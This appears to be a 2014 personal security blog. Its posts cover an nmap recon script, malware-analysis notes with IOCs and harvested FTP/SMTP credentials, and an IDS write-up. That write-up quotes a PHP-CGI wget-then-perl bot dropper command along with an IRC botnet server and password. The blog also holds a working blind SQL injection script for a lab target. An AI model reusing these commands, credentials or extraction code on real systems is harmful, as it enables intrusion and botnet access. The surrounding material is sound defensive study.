Designed this nmap bash script to be able to run multiple different scans to pull information that is relevant and save it to unique files.  I also noticed that I was running similar nmap scans and thought I would combine them into a script that automates the process.

v0.2 - Fixed the smb-enum-shares nse by adding a smbdomain argument
        - Fixed the nmapSwitches variable in the nmap command inside of the for loop

#!/bin/bash

location='tallBuilding'
subnet='127.0.0.1'
ipList='results/ipList.txt'

# Creates the output and the results directory if they need to be created
if [ ! -d "output" ]; then
    mkdir output
    mkdir results
fi

# Run a host discovery scan to see which devices are available in the subnet
typeOfScan='nmap-sP'
nmap -sP $subnet -oA output/$location-$typeOfScan

# From the host discovery put together a list of IP Addresses that can be used in future scans
if [ -f "output/$location-$typeOfScan.nmap" ]; then
    cat output/$location-$typeOfScan.nmap | grep "Nmap scan report for" | awk '{print $5}' > $ipList
else
    echo "Unable to find the nmap host discovery list."
    exit
fi


################### Create a loop of the various nmap scans to perform ##############################
declare -a nmapSwitches=('-sV -p 20,21,22 --open --script ftp-anon.nse'
            '-sV -p 5800,5801,5802,5803,5900,5901,5902,5903 --open --script vnc-info.nse'
            '-sV -p 5800,5801,5802,5803,5900,5901,5902,5903 --open --script realvnc-auth-bypass.nse'
            '-p 69 -sU --open --script tftp-enum.nse'
            '-p T:53,U:53 --open'
            '-p 161 -sU --script snmp-brute'
            '--script smb-os-discovery.nse -p 445'
            '--script smb-check-vulns -p 445'
            '--script smb-enum-shares.nse --script-args smbdomain=domain,smbuser=user,smbpass=password -p 445');
declare -a typeOfScan=('nmap-sV-FTP'
            'nmap-sV-VNC'
            'nmap-sV-VNC-auth-bypass'
            'nmap-sU-TFTP'
            'nmap-DNS'
            'nmap-SNMP'
            'nmap-Samba-445'
            'nmap-Samba-check-vulns'
            'nmap-Samba-enum-shares');

for ((i=0; i<${#nmapSwitches[@]}; i++)); do
    typeOfScanVar=${typeOfScan[$i]}
    nmapSwitchesVar=${nmapSwitches[$i]}
    nmap $nmapSwitchesVar -iL $ipList -oA output/$location-$typeOfScanVar
done

Wednesday, August 20, 2014

List of Various CTF Sites

This list was provided by a friend of a variety of Capture the Flag events.

http://ctf365.com/
http://www.enigmagroup.org/
http://captf.com/practice-ctf/
https://www.hacking-lab.com/index.html
https://microcorruption.com/login
https://pentesterlab.com/
http://www.thisislegal.com/
http://captf.com/
http://io.smashthestack.org/
http://www.wechall.net/
http://repo.shell-storm.org/CTF/
http://exploit-exercises.com/
http://overthewire.org/wargames/
http://www.smashthestack.org/
http://www.crackmes.de/
http://amanhardikar.com/mindmaps/Practice.html
http://www.gh0st.net
http://www.root-me.org/?lang=en

Tuesday, August 19, 2014

Extract VBA code from Office Documents

http://digital-forensics.sans.org/blog/2009/11/23/extracting-vb-macros-from-malicious-documents

Sunday, August 17, 2014

Awards Assembly and Closing Comments from USCC Cyber Camp at SJSU

The below items are what I remember from those who spoke to us at the awards assembly at the USCC Cyber Camp at SJSU in 2014.

Jennifer Lesser is the Director of Security Operations at Facebook and the below comments are what I remember from her talking to us:

To change the game in security you need to have empathy.

She quoted Bill Gates in the following “optimism can fuel innovation and lead to new tools to eliminate suffering,” Gates said. “But if you never really see the people who are suffering, your optimism can’t help them. You will never change their world. … If our optimism doesn’t address the problems that affect so many of our fellow human beings, then our optimism needs more empathy.”

Find the culture [that you want to work in] and then Find the company that will meet your culture.

Their is a lack of encouragement in the information security field.

Often times people say, I won't be good at it.  Did you know that I have not touched a line of code since some of you were born.

Understand that you impact people everyday.

The best thing that can come about because of the security industry is the collaboration.

Admiral Patrick M. Walsh joined iSight Partners as a General Manager of Threatspace.

Take time to discuss risk and probability

Predict events on intelligence that you gather from your systems and the community.  Somebody's problem yesterday could be your problem today.

Learn how to communicate at or to the C-level, they want and need to know.

Look at history, for example, the Battle of Midway.  What were the tactics used for victory?

Read the "Net Diligence Report"

Top 3 risks that face companies: 1. Stolen Laptops, 2. Hackers, 3. Rogue Emplyees

Read the "Alt Report"

Montana Williams works as the Chief for the Cybersecurity Education & Awareness Branch at US Department of Homeland Security

Understand that we are at war in the cyber security field.

The cost of cyber incidents will exceed 381 billion dollars this year.

You can go pro in the cyber security sport.  Did you know that the average professional athlete in Basketball, Football, or Baseball lasts 3 years making roughly $300,000.  In the sport of cyber security their are over 300,000 positions currently open in the United States and they are paying very well and you will exceed that of an average pro athlete.

The cyber security environment has no boundaries.  It touches land, water, space, underground, science, and everywhere.

We need to evaluate our tactics as we did in the 1950's and 1960's and become smarter.  Did you know in 1966 we as a nation had a 1:1 kill ratio? We now have a 10:1 kill ratio.

We need to understand and study the tactics of our advesaries.

Be a lifelong learner

You are on the front line of the battle

There are officially documented 32 functional roles in cyber security

Josh Chin 

Stated that we heard from someone else and believes it is true that "Students change the future."

 

Wednesday, August 13, 2014

Python HTTP POST Request / Response

#!/usr/bin/python

import urllib2, urllib

url = 'http://127.0.0.1/temp.php'
data = {'parameter1':'value1', 'parameter2':'value2'}

data = urllib.urlencode(data)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
pageReturned = response.read()

print(pageReturned)

Python HTTP GET Request / Response

#!/usr/bin/python

import urllib2

request = urllib2.Request('http://127.0.0.1/temp')

response = urllib2.urlopen(request)
pageReturned = response.read()

print (pageReturned)

Python Parser for Process Monitor CSV Output

Created a quick parser for Process Monitor csv output files.  I designed it to organize the output based on PID and Operation.  Then I chose to remove the timestamp and deduplicate the remaining information.

This was built to be a tool that can be used in conjunction with Process Monitor to help identify interesting activity.

#!/usr/bin/python
# Script is designed to parse a Process Monitor script and output organized by process and operation

# In my limited testing it took a 29M file down to 5M (At least a little easier to digest)
# It will deduplicate the rows in the output without the timestamp
# This tool is not to replace the output of Process Monitor it is only used as a tool to assist in finding valuable information


import sys
import os
import csv

csvFile='processMonitor.csv'

file = open(csvFile,'r')
reader = csv.reader(file)
# Gather the PIDs and make a uniq list of them
uniqPID = set() # This will store the unique PIDs found in the csv file
uniqOperation = set() # This will store the unique Operations found in the csv file
for row in reader:
    # Time of Day, Process Name, PID, Operation, Path, Result, Detail
    #      0             1        2       3       4      5       6
    if (row[2] != 'PID'):    # Remove the header out of the set
        uniqPID.add(row[2])
        uniqOperation.add(row[3])
file.close()

uniqPID = list(uniqPID) # Take the set and place it into a list
uniqOperation = list(uniqOperation)
uniqPID.sort(key=int)   # Sort the list based on an integer value
uniqOperation.sort(key=str)  

for pid in uniqPID:
        print "\n\n"
    for operation in uniqOperation:
        operationAppearanceCounter = 0
        uniqRow = set()
        file = open(csvFile,'r')
        reader = csv.reader(file)
        for row in reader:
            if (row[2] == pid):
                if (row[3] == operation):
                    if (operationAppearanceCounter == 0):
                        print "\nPID: " + pid + "     Operation: " + operation
                        print "----------------------------------------------"
                        operationAppearanceCounter = 1
                    newRow = row[1] + " " + row[2] + " " + row[3] + " " + row[4] + " " + row[5] + " " + row[6]
                    uniqRow.add(newRow)
        for deduplicatedRow in uniqRow:
            print deduplicatedRow



Monday, August 11, 2014

Python Parser for CaptureBAT logfile v0.2

This is an updated CaptureBAT parser.  If a blank line or an unreadable line is in the logfile it will give you a warning and continue.

Take the logfile output from CaptureBAT and throw it against this script to organize it.

"CaptureBat.exe -n -c -l logFile_output.txt"

#!/usr/bin/python

# Version 0.2: Added if a line in the log file can not be read then it lists a warning but continues

import sys

def parseFile(file, filter, specific):
        duplicate3rdItem=""
        duplicate4thItem=""

        for line in file:
                try:
                        items=line.split(',')
                        if items[1] == filter and items[2] == specific:
                                # Find the duplicates and remove them
                                if items[3] != duplicate3rdItem and items[4] != duplicate4thItem:
                                        print items[0] + " " + items[3] + " " + items[4].rstrip()
                                        duplicate3rdItem=items[3]
                                        duplicate4thItem=items[4]
                except:
                        # Continue on error
                        print "Warning: Log File has a line that can not be read."


if len(sys.argv) >= 2:
        captureFileLog='outputCaptureBat.log'
        parseValues = [ ['"file"', '"Write"', 'Files Written'], ['"file"', '"Delete"', 'Files Deleted'],
                        ['"process"', '"Created"', 'Processes Created'], ['"process"', '"terminated"', 'Processes Terminated'],
                        ['"registry"', '"DeleteValueKey"', 'Registry Deleted Value'], ['"registry"', '"SetValueKey"', 'SetValueKey'] ]
        for item in parseValues:
                print "\n" + item[2]
                print "-----------------------------------------------------------------------------------------------"
                file = open(captureFileLog, "r")
                parseFile(file, item[0], item[1])
else:
        print "Usage: ./script outputCaptureBat.log"

Saturday, August 9, 2014

Decode PHP encoded by cha88.cn

Below is a quick bash script that I wrote to decode some PHP web shells encoded by cha88.cn.  The decoding iterates through base64 decoding and gzinflating 30 times to then produce the original php code.

#!/bin/bash

workingFile=$1

tempFile="${workingFile}.temp"
tempFile2="${workingFile}.temp2"

cat $workingFile | grep -v -e "/\*" -e "online encode by cha88.cn!" -e "\*/" | sed 's/eval(/$uncompressed = /' | sed 's/?>/echo $uncompressed;\n?>/' | sed 's/)))\;/))\;/' > $tempFile

for i in {1..30}
do
php $tempFile | sed 's/?><?php/<?php/' | sed 's/eval(/$uncompressed = /' | sed 's/?><?/echo $uncompressed;\n?>/' | sed 's/)))\;/))\;/' > $tempFile2
mv -f $tempFile2 $tempFile
rm -f $tempFile2
done

Friday, July 25, 2014

Working with Google Maps Javascript API

Here is a not quite final attempt at using Google Maps Javascript API.  Intent is to make the plotLines funtion that is called be dynamic based on the latitude and longitude being called from a database.

<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <title>Google Maps API</title>
    <style>
      html, body, #map-canvas {
        height: 100%;
width: 92%;
        margin: 0px;
        padding: 0px
      }
    </style>
    <script src="https://maps.googleapis.com/maps/api/js?v=3.exp"></script>
    <script>
// This example adds an animated symbol to a polyline.

var line;

function initialize() {
  var mapOptions = {
    center: new google.maps.LatLng(50.7608333,-111.8902778),  
    zoom: 2,
    mapTypeId: google.maps.MapTypeId.TERRAIN
  };

  var map = new google.maps.Map(document.getElementById('map-canvas'),
      mapOptions);

  var vlc = { "lat" : "50.7608333", "long" : "-111.8902778" };
  
  plotLines(map, vlc.lat, vlc.long, "42.8333015442","12.8332996368");
  plotLines(map, vlc.lat, vlc.long, "30.6667003632","104.066703796");
  plotLines(map, vlc.lat, vlc.long, "39.6734008789","-75.7052001953");
  plotLines(map, vlc.lat, vlc.long, "13.7539997101","100.501403809");
  plotLines(map, vlc.lat, vlc.long, "18.9750003815","72.8257980347");
  plotLines(map, vlc.lat, vlc.long, "14.5666999817","121.033302307");
  //plotLines(map, vlc.lat, vlc.long, "");



}

function plotLines(map, vlcLat, vlcLong, coorLat, coorLong) {


  var lineCoordinates = [
    new google.maps.LatLng(coorLat,coorLong),
    new google.maps.LatLng(vlcLat,vlcLong)  
  ];

  var randColor = randomColor(150)

  // Define the symbol, using one of the predefined paths ('CIRCLE')
  // supplied by the Google Maps JavaScript API.
  var lineSymbol = {
    path: google.maps.SymbolPath.FORWARD_CLOSED_ARROW,
    scale: 1.0,
    //strokeColor: '#630903'
    strokeColor: randColor
  };

  // Create the polyline and add the symbol to it via the 'icons' property.
  line = new google.maps.Polyline({
    path: lineCoordinates,
    geodesic: true,
    strokeColor: '#FF5555',
    strokeOpacity: 1.0,
    strokeWeight: 0,
    icons: [{
      icon: lineSymbol,
      offset: '0',
      repeat: '20px'
    }],
    map: map
  });
  
  animateCircle(line);
}

function randomColor(brightness){
  function randomChannel(brightness){
    var r = 255-brightness;
    var n = 0|((Math.random() * r) + brightness);
    var s = n.toString(16);
    return (s.length==1) ? '0'+s : s;
  }
  return '#' + randomChannel(brightness) + '55' + '55';
}


// Use the DOM setInterval() function to change the offset of the symbol
// at fixed intervals.
function animateCircle(line) {
    var count = 0;
    window.setInterval(function() {
      count = (count + 1) % 200;

      var icons = line.get('icons');
      icons[0].offset = (count / 2) + '%';
      line.set('icons', icons);
  }, 40);
}

google.maps.event.addDomListener(window, 'load', initialize);

    </script>
  </head>
  <body>
    <div id="map-canvas"></div>
  </body>
</html>

Monday, June 16, 2014

Compare 2 Lists of IP Addresses

Created this python script to look for an IP Address in one list and find it in a reputation IP list.

#!/usr/bin/python

import os


with open("tempIP.list", "r") as f1:
        lines1 = f1.readlines()

with open("reputation.list", "r") as f2:
        lines2 = f2.readlines()

for line in lines1:
        for item in lines2:
                if line.strip('\n') in item.strip('\n'):
                        print item

Friday, June 6, 2014

Which URL matches a Particular Regular Expression

I needed a quick tool to check and see which regular expression a particular URL matched.  Below is what I came up with which is simple and elegant:


#!/usr/bin/python

# This script is to detect based on a given URL which Regular Expression that it matches

import re
#Get the URL
print
url = raw_input('URL: ')
#print url


ListRegEx = [["http:\/\/[^\x2f]+?\/([a-z0-9]{2}\/)?\??[0-9a-f]{5}[\x3b\d\x2c]*", "Malicious URL"],
                ["http:\/\/[^\x0a]+\/6?2p\/[a-z]{12}", "Malicious URL"]]

for itemRegEx in ListRegEx:
        regexp = re.compile(itemRegEx[0])
        if regexp.search(url) is not None:
                print "Matched " + itemRegEx[1]

print

Monday, May 26, 2014

Python: Cipher and Base64 Encoding / Decoding

Below is part of a challenge that I came up with to first create like a caesar cipher or rot13 similar cipher and then use base64 to encode a URL.  Below is the python code to accomplish this:

#!/usr/bin/python

import string
import base64

url = "http://i1.ytimg.com/vi/jp4nzjap6I8/movieposter.jpg?v=4f16e5dc"
my_base64chars  = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

s = url.translate(string.maketrans(my_base64chars, std_base64chars))
data = base64.b64encode(s)
print data

Below is how to decode the same information:

#!/usr/bin/python

import string
import base64

code = "cjMzejovL3NCLjgzc3dxLm15dy81cy90ekV4OXRrekdTSS93eTVzb3p5MjNvMS50enE/NT1FcEJHb0ZubQ=="
output = base64.b64decode(code)
print output

my_base64chars  = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

s = output.translate(string.maketrans(std_base64chars, my_base64chars))
print s

Thursday, May 8, 2014

Malware Analysis with twistd

On Kali Linux is an application called "twistd".  I utilized this program to spin up a quick FTP server and then an SMTP server to analyze some malware.  

To spin up the ftp server the following command was used:
twistd -n ftp -p 21
This allowed the malware to connect and allow me to pull the FTP username and FTP password was was being utilized.  I was also able to gather the SMTP information that I needed.  The DNS and other information was gathered with dnsspoof and other utilities.

To spin up the smtp server I needed to to allow for some sort of AUTH.   I utilized the following command:

twistd -n mail --smtp=25 --maildirdbmdomain='test.com=test' --user='test@test.com=password' --auth=anonymous -E --hostname=test.com
This tool was quick and efficient to gather information that I needed quickly.  From the malware I was able to identify the following indicators of compromise:

Email with Subject: Fw: CREDIT PAYMENT ALERT!($14,700.00) 
Link in email downloads: bank payment slip.zip 

Drops the following files after installation:
Console.exe - Virustotal Results (0/52) (hxxps://www.virustotal.com/en/file/30f083a7dc2cb9f3d242cb59bd935f5654dc7144f8b258c2b0da32504777b555/analysis/)

conf.ini - This contains the settings for Console.ex

core.dll - Virustotal Results (0/51) (hxxps://www.virustotal.com/en/file/8e1105aace5b1cb3a38bad511ef69361b41960bb62b2bb9de6131ec776825b41/analysis/)

runasservice.exe
service.ini
 
Other indicators: 
Sends an email outbound every 4 hours with the keystrokes, screenshots and other information that is dropped.
Sends outbound an SMTP message with subject "Money !!! OH MONEY !!!"
SMTP Account used to auth and relay the message is sholm3000@163.com
SMTP Server is smtp.163.com
Send to account: sholm3000@yahoo.com

Another way to send the files captured is by FTP:
FTP Server: sholm1000.bplaced.net
FTP Username: sholm1000
FTP Password: slowdown1234

Monday, April 28, 2014

US Cyber Challenge Scoreboard Analysis

Prior to the competition closing on April 31, 2014 for the latest US Cyber Challenge located at http://uscc.cyberquests.org I thought I would do a quick analysis on the users of those who appear on the scoreboards.

Looking at the number of times the same user appears:

Appearances
User
7 jt
6 baldwintm
6 thepcnerd
5 devnull
5 jgbrigden
5 jimkoz23
5 jmoore
5 linuz
5 ltomczak
5 mkaplan
5 sonken
5 webdevgirl
5 wiredaemon
Only displaying the top 13 with 5 or more appearances on the scoreboards.

Another way to look at the numbers is below.  The number of appearances of the users that have appeared 7 times, 6 times, etc.

Number of Users Total Appearances
1 7 times
2 6 times
10 5 times
15 4 times
25 3 times
100 2 times
909 1 time

I am a fan of the US Cyber Challenges and congratulate those who support it, fund it, and promote it.  Keep the challenges coming.

Saturday, April 26, 2014

Examining IDS Logs for PHP-CGI Query String Vulnerabilities

I noticed a few high severity events related to PHP-CGI Query String vulnerabilities going through the IDS and bouncing off of the webserver.

The first item was identifying it in the IDS as one of the below events:
ET Web_Specific_Apps PHP-CGI query string parameter vulnerability - CVE2012-1823

I am not necessarily going to focus on the exploit.  I want to focus on the information in the below screenshot:

As you can see part of the vulnerability is to execute the following commands through php:
cd /tmp - Change to the /tmp directory
wget http://www.macam-informasi.com/bibah/bot.txt - Download using wget the bot.txt
perl bot.txt  - Use perl and execute the text file bot.txt that was previously downloaded
rm -rf bot.txt - Remove the bot.txt if in the process of execution perl bot.txt terminates
rm -rf bot.txt* - Remove anything that starts with bot.txt possibly due to temporary files that are created
rm -rf *.txt - Remove any temporary *.txt files that were created
rm -rf * - Remove any files int eh /tmp directory 

What if we submit the URL that is downloading bot.txt to virustotal?

What if we submit the file that is downloaded to virustotal?

Looking closer at the IRC bot that is executed:

As we can see from the first few lines the IRC channel that it connects to is #total, at IP Address 204.44.120.36, and later you find that the connection occurs over port 80.

Searching for the IP Address of 204.44.120.36 on arin.net we find:

I have a virtual machine that I am going to execute this bot.txt from and then capture the traffic going to this IRC channel:

As shown in the packet capture it joins the IRC channel of #total with probably a password of "muietie".  It is also observed the below DNS name is used for the IRC server:

If you log in manually to the IRC channel with the password that was captured:
You can see that 244 people are in the room or these are the servers that have been infected with the PHP-CGI vulnerability.

Looking closer at my connection in the room and checking the info it displays additional information about the connection:

From the channel they can interact with the Perl bot through the IRC channel commands.  This would allow them to remotely control the server.  They would also understand that the server that is in the list is vulnerable to the PHP-CGI vulnerability and could exploit it in the future.

I have sent an email to the ISP to report this activity but wanted to document an instance of this that has been observed through checking the IDS logs.

Here is the email back from their abuse department:

abuse-ticket@quadranet.com


to me
Your abuse report has been submitted to our Abuse Department.

Our typical reaction time is 72 hours. If your abuse issue isn't handled within 96 hours please respond to this message.


Abuse Ticket Number: 881046











Thursday, April 24, 2014

Python Raw Socket to Create ICMP Packet

Had a challenge to recreate a raw packet from bytes given in a text file.  Used python to create the raw socket.  The commented code is taking it from text to hex.

#!/usr/bin/env python

import socket
import struct

rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x800))
rawSocket.bind(("vmnet1", socket.htons(0x0800)))


#hexBytes = "000c29213dd1005056c00001080045000054b40a00004001905c0a0a112d0a0a11020000364e16070001c3190152013b030008090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637"

#counter = 1
#for letter in hexBytes:
# if counter == 1:
# firstLetter = letter
# counter = 2
# elif counter == 2:
# print "\\x" + firstLetter + letter
# counter = 1

hexPacket = "\x00\x0c\x29\x21\x3d\xd1\x00\x50\x56\xc0\x00\x01\x08\x00\x45\x00\x00\x54\xb4\x0a\x00\x00\x40\x01\x90\x5c\x0a\x0a\x11\x2d\x0a\x0a\x11\x02\x00\x00\x36\x4e\x16\x07\x00\x01\xc3\x19\x01\x52\x01\x3b\x03\x00\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37"

rawSocket.send(hexPacket)

Sunday, April 20, 2014

SQL Injection Script written for SEED Labs

SEED Labs are located here: http://www.cis.syr.edu/~wedu/seed/
These are great labs to learn more about cyber security and penetration testing.

The below script was developed to demonstrate SQL Injection on the phpBB lab that they provide.  Though the lab itself does not require this it was a great script to write.  With the script I extract the passwords for the 5 users that are found on the system.

This script could be made more efficient with instead brute forcing each letter to making them conditional statements.

#!/usr/bin/env python

import os
import re
from socket import *
from time import ctime

BUFSIZE=1024

# Change the hostInput based on your IP Address of the SEED Installation of Ubuntu 9.
hostInput = '172.16.108.140'

userNames = ['admin', 'alice', 'bob', 'carol', 'ted'] 
#userNames = ['ted'] 

userPassword = ''
contentLength = 63

for userName in userNames:
for number in range(1,30):
contentLengthTotal = contentLength + number

for letter in 'abcdefghijklmnopqrstuvwxyz0123456789':
tcpServerSocket = socket(AF_INET, SOCK_STREAM)
remoteServer = (hostInput, 80)
tcpServerSocket.connect(remoteServer)

searchRequest1 = "POST http://www.sqllabmysqlphpbb.com/search.php?mode=searchuser HTTP/1.1\n"
searchRequest2 = "Host: www.sqllabmysqlphpbb.com\n"
searchRequest3 = "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1\n"
searchRequest5 = "Accept-Language: en-US,en;q=0.5\n"
searchRequest6 = "Content-Type: application/x-www-form-urlencoded\n"
searchRequest7 = "Content-Length: " + str(contentLengthTotal) + "\n\n"
searchRequest8 = "search_username=4%27+OR+user_password+LIKE+%27" + userPassword + letter + "%25&search=Search\n\n\n"

searchRequest = searchRequest1 + searchRequest2 + searchRequest3 + searchRequest5 + searchRequest6 + searchRequest7 + searchRequest8

#print searchRequest

tcpServerSocket.send(searchRequest)
f = open('/tmp/output', 'w')
initialLength = 0

while True:
pageReturned = tcpServerSocket.recv(BUFSIZE)
if not pageReturned:
break
#print pageReturned
initialLength = initialLength + 1
f.write(pageReturned)
if initialLength == 14:  
break

f.closed
tcpServerSocket.close()

f = open('/tmp/output', 'r')
userNameInFile = '<option value="' + userName + '">'
for line in f:
if userNameInFile in line:
userPassword = userPassword + letter 
f.closed

print "The hash stored as the password for " + userName + " is " + userPassword
userPassword = ''
contentLength = 63



Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...